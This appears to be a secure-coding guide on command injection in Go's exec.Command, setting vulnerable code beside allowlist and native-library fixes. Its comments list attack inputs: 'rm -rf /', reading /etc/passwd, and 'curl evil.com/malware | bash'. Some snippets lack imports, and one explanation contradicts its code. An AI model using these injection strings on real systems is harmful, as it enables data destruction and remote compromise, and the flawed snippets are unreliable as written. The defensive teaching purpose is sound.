Command injection from untrusted input passed to exec.Command

Critical Risk command-injection
gocommand-injectionexecshellrceuser-input

What it is

A critical security vulnerability where user-controlled strings build the command or arguments for exec.Command, or run via sh -c, without strict validation or allowlisting. Command injection could execute arbitrary system commands, enabling remote code execution and full server compromise.

package main

import (
    "fmt"
    "os/exec"
)

// VULNERABLE: User controls command executable
func executeUserCommand(command string, args []string) error {
    // DANGEROUS: User controls which command runs
    cmd := exec.Command(command, args...)
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    fmt.Printf("Output: %s\n", output)
    return nil
}

// VULNERABLE: Shell invocation with user input
func processFile(filename string) error {
    // DANGEROUS: Shell metacharacters can be injected
    cmdStr := fmt.Sprintf("cat %s | wc -l", filename)
    cmd := exec.Command("sh", "-c", cmdStr)
    
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    fmt.Printf("Lines: %s\n", output)
    return nil
}

// Attack examples:
// executeUserCommand("sh", ["-c", "rm -rf /"])
// processFile("test.txt; cat /etc/passwd")
package main

import (
    "errors"
    "fmt"
    "os/exec"
    "regexp"
)

// Allowed commands with fixed paths
var allowedCommands = map[string]string{
    "ls": "/usr/bin/ls",
    "wc": "/usr/bin/wc",
}

// SECURE: Allowlist-based command execution
func executeAllowedCommand(cmdName string, args []string) error {
    // Check if command is allowed
    execPath, exists := allowedCommands[cmdName]
    if !exists {
        return errors.New("command not allowed")
    }
    
    // Validate all arguments
    for _, arg := range args {
        if !isValidArgument(arg) {
            return errors.New("invalid argument")
        }
    }
    
    // Execute with fixed path and validated args
    cmd := exec.Command(execPath, args...)
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    fmt.Printf("Output: %s\n", output)
    return nil
}

func isValidArgument(arg string) bool {
    // No shell metacharacters allowed
    pattern := `^[a-zA-Z0-9/._-]+$`
    matched, _ := regexp.MatchString(pattern, arg)
    return matched
}

// SECURE: No shell invocation, fixed executable
func processFile(filename string) error {
    if !isValidArgument(filename) {
        return errors.New("invalid filename")
    }
    
    // Direct command execution, no shell
    cmd := exec.Command("/usr/bin/wc", "-l", filename)
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    fmt.Printf("Lines: %s\n", output)
    return nil
}

💡 Why This Fix Works

The vulnerable code allows users to control both the command executable and arguments, enabling arbitrary command execution. The secure version eliminates command execution entirely, using a structured API with predefined operations implemented in native Go, comprehensive input validation, and strict path controls.

Why it happens

Building exec.Command calls with user-controlled strings allows attackers to inject additional commands or modify the intended command behavior. This is especially dangerous when using shell invocation (sh -c) or when user input becomes part of the executable path or arguments.

Root causes

Dynamic Command Construction with User Input

Building exec.Command calls with user-controlled strings allows attackers to inject additional commands or modify the intended command behavior. This is especially dangerous when using shell invocation (sh -c) or when user input becomes part of the executable path or arguments.

Preview example – GO
package main

import (
    "os/exec"
    "fmt"
)

// VULNERABLE: User input in command construction
func executeUserCommand(userCmd string, args []string) {
    // DANGEROUS: User controls the command
    cmd := exec.Command(userCmd, args...)
    output, err := cmd.Output()
    if err != nil {
        fmt.Printf("Error: %v\n", err)
        return
    }
    fmt.Printf("Output: %s\n", output)
}

// Attack example:
// executeUserCommand("sh", ["-c", "ls; rm -rf /"])
// executeUserCommand("/bin/bash", ["-c", "curl evil.com/malware | bash"])

Shell Invocation with Concatenated Commands

Using sh -c or bash -c with user input allows shell metacharacter injection. Even seemingly safe operations become dangerous when user input is concatenated into shell command strings without proper escaping.

Preview example – GO
package main

import (
    "os/exec"
    "fmt"
)

// VULNERABLE: Shell command with user input
func processFile(filename string) {
    // DANGEROUS: Shell metacharacters can be injected
    command := fmt.Sprintf("cat %s | wc -l", filename)
    cmd := exec.Command("sh", "-c", command)
    
    output, err := cmd.Output()
    if err != nil {
        fmt.Printf("Error: %v\n", err)
        return
    }
    fmt.Printf("Lines: %s\n", output)
}

// Attack example:
// processFile("test.txt; rm -rf /home/user; echo")
// Results in: cat test.txt; rm -rf /home/user; echo | wc -l

Fixes

1

Use Fixed Executable Paths with Validated Arguments

Always use fixed, absolute paths for executables and pass user data only as separate arguments. Never allow user input to control the command path or use shell invocation. Validate all arguments against strict allowlists.

View implementation – GO
package main

import (
    "os/exec"
    "regexp"
    "errors"
    "path/filepath"
)

// SECURE: Fixed commands with validated arguments
func processFileSafe(filename string) error {
    // Validate filename
    if !isValidFilename(filename) {
        return errors.New("invalid filename")
    }
    
    // Resolve absolute path to prevent directory traversal
    absPath, err := filepath.Abs(filename)
    if err != nil {
        return err
    }
    
    // Check if file is in allowed directory
    if !isInAllowedDirectory(absPath) {
        return errors.New("file not in allowed directory")
    }
    
    // SECURE: Fixed executable, separate arguments
    cmd := exec.Command("/usr/bin/wc", "-l", absPath)
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    
    fmt.Printf("Lines: %s\n", output)
    return nil
}

func isValidFilename(filename string) bool {
    // Strict allowlist for filenames
    pattern := `^[a-zA-Z0-9._-]+$`
    matched, _ := regexp.MatchString(pattern, filename)
    return matched && len(filename) > 0 && len(filename) <= 255
}

func isInAllowedDirectory(path string) bool {
    allowedDirs := []string{
        "/home/user/documents",
        "/tmp/uploads",
    }
    
    for _, dir := range allowedDirs {
        if strings.HasPrefix(path, dir) {
            return true
        }
    }
    return false
}
2

Implement Command Allowlisting and exec.LookPath

Create a strict allowlist of permitted commands and use exec.LookPath to resolve executable paths safely. Map user choices to predefined commands rather than allowing arbitrary command execution.

View implementation – GO
package main

import (
    "os/exec"
    "errors"
    "strings"
)

// Allowlisted commands with their safe implementations
var allowedCommands = map[string]func([]string) error{
    "list":      listFiles,
    "count":     countLines,
    "checksum":  calculateChecksum,
}

type SafeCommand struct {
    executable string
    baseArgs   []string
}

var commandMapping = map[string]SafeCommand{
    "list":     {"/usr/bin/ls", []string{"-la"}},
    "count":    {"/usr/bin/wc", []string{"-l"}},
    "checksum": {"/usr/bin/sha256sum", []string{}},
}

// SECURE: Allowlist-based command execution
func executeAllowedCommand(commandName string, args []string) error {
    // Check if command is allowed
    cmdConfig, exists := commandMapping[commandName]
    if !exists {
        return errors.New("command not allowed")
    }
    
    // Validate all arguments
    for _, arg := range args {
        if !isValidArgument(arg) {
            return errors.New("invalid argument")
        }
    }
    
    // Resolve executable path safely
    execPath, err := exec.LookPath(cmdConfig.executable)
    if err != nil {
        return errors.New("executable not found")
    }
    
    // Build command with validated arguments
    allArgs := append(cmdConfig.baseArgs, args...)
    cmd := exec.Command(execPath, allArgs...)
    
    output, err := cmd.Output()
    if err != nil {
        return err
    }
    
    fmt.Printf("Output: %s\n", output)
    return nil
}

func isValidArgument(arg string) bool {
    // Strict validation for command arguments
    if len(arg) == 0 || len(arg) > 255 {
        return false
    }
    
    // No shell metacharacters
    prohibited := []string{";", "|", "&", "$", "`", "(", ")", "<", ">"}
    for _, char := range prohibited {
        if strings.Contains(arg, char) {
            return false
        }
    }
    
    // No null bytes or control characters
    for _, b := range []byte(arg) {
        if b < 32 && b != 9 && b != 10 && b != 13 { // Allow tab, LF, CR
            return false
        }
    }
    
    return true
}

// Individual command implementations with validation
func listFiles(args []string) error {
    return executeAllowedCommand("list", args)
}

func countLines(args []string) error {
    return executeAllowedCommand("count", args)
}

func calculateChecksum(args []string) error {
    return executeAllowedCommand("checksum", args)
}
3

Eliminate Shell Usage and Use Native Go Libraries

Replace shell command execution with native Go functionality whenever possible. Use Go's standard library for file operations, text processing, and system interactions to avoid command injection entirely.

View implementation – GO
package main

import (
    "bufio"
    "crypto/sha256"
    "fmt"
    "io"
    "os"
    "path/filepath"
    "regexp"
    "strings"
)

// SECURE: Native Go implementation instead of shell commands
func processFileNative(filename string, operation string) error {
    // Validate inputs
    if !isValidFilename(filename) {
        return errors.New("invalid filename")
    }
    
    if !isValidOperation(operation) {
        return errors.New("invalid operation")
    }
    
    // Resolve and validate file path
    absPath, err := filepath.Abs(filename)
    if err != nil {
        return err
    }
    
    if !isInAllowedDirectory(absPath) {
        return errors.New("file not in allowed directory")
    }
    
    // Execute operation using native Go
    switch operation {
    case "count":
        return countLinesNative(absPath)
    case "checksum":
        return checksumNative(absPath)
    case "info":
        return fileInfoNative(absPath)
    default:
        return errors.New("operation not implemented")
    }
}

func countLinesNative(filepath string) error {
    file, err := os.Open(filepath)
    if err != nil {
        return err
    }
    defer file.Close()
    
    scanner := bufio.NewScanner(file)
    lineCount := 0
    
    for scanner.Scan() {
        lineCount++
    }
    
    if err := scanner.Err(); err != nil {
        return err
    }
    
    fmt.Printf("Lines: %d\n", lineCount)
    return nil
}

func checksumNative(filepath string) error {
    file, err := os.Open(filepath)
    if err != nil {
        return err
    }
    defer file.Close()
    
    hasher := sha256.New()
    if _, err := io.Copy(hasher, file); err != nil {
        return err
    }
    
    sum := hasher.Sum(nil)
    fmt.Printf("SHA256: %x\n", sum)
    return nil
}

func fileInfoNative(filepath string) error {
    info, err := os.Stat(filepath)
    if err != nil {
        return err
    }
    
    fmt.Printf("Name: %s\n", info.Name())
    fmt.Printf("Size: %d bytes\n", info.Size())
    fmt.Printf("Mode: %s\n", info.Mode())
    fmt.Printf("ModTime: %s\n", info.ModTime())
    return nil
}

func isValidOperation(operation string) bool {
    allowedOps := map[string]bool{
        "count":    true,
        "checksum": true,
        "info":     true,
    }
    return allowedOps[operation]
}

func isValidFilename(filename string) bool {
    pattern := `^[a-zA-Z0-9._-]+$`
    matched, _ := regexp.MatchString(pattern, filename)
    return matched && len(filename) > 0 && len(filename) <= 255
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from untrusted input passed to exec.command and many other security issues in your codebase.